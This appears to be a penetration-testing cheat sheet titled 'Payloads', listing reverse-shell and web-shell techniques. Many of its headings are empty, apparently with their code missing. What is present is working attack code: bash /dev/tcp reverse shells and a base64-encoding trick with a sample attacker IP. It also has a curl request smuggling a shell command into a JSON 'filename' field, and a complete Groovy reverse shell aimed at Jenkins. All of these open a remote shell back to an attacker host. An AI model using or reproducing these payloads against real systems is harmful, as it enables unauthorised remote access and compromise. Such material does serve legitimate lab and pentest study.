Payloads

Reverse Shells

Bash Reverse Shell

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'

If this not work try base64 encoded it can solve problems with the quotes

echo -n 'bash -i >& /dev/tcp/192.168.45.184/4444 0>&1' | base64

This encode in base64 the rev shell, and then we can use it like this:

echo <BASE64_PAYLOAD> | base64 -d | bash

curl Reverse Shell

curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'

Groovy (Jenkins) Reverse Shell

String host="<LHOST>";
int port=<LPORT>;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

JAVA Reverse Shell

shell.jar

ASPX Reverse Shell

Lua Reverse Shell

Markdown Reverse Shell

mkfifo Reverse Shell

Netcat Reverse Shell

Perl Reverse Shell

PHP Reverse Shell

PowerShell Reverse Shell

Powercat

Start a new terminal, copy Powercat to the home directory for the kali user, and start a Python3 web server in the same directory.

Next, we'll start a third terminal tab to create a Netcat listener on port 4444 to catch the reverse shell.

Using URL Encoding:

Use Encoded powershell payload

minireverse.ps1

Python Reverse Shell

Ruby Reverse Shell

Web Shells

PHP Web Shell

Templates

ASPX Web Shell

Bad YAML

msfvenom

List the payloads

Generate Payloads

PHP

Last updated